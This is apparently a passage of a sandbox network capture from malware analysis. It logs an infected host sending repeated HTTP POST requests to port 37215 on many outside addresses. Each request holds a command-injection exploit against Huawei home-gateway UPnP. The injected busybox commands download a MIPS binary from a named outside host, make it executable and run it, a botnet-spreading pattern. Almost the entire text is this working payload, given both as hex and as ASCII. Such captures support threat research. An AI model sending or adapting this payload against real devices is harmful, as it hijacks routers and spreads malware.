2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.23	45800	156.146.0.173	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:01:52.803523064 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.23	45944	41.89.254.96	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:01:52.803622007 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.23	43268	156.134.142.216	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:01:52.803708076 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.23	35620	156.29.58.55	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:01:52.803781033 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.23	49966	156.180.14.86	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:01:52.803847075 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.23	50588	156.23.144.81	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:01:52.803921938 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.23	38496	41.29.43.123	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:01:52.804013968 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.23	34966	41.38.16.103	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:01:52.804085970 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.23	57306	156.110.162.239	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:01:52.804148912 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.23	52456	197.123.236.32	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:01:52.804248095 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.23	54440	197.25.2.28	37215

Timestamp	Bytes transferred	Direction	Data
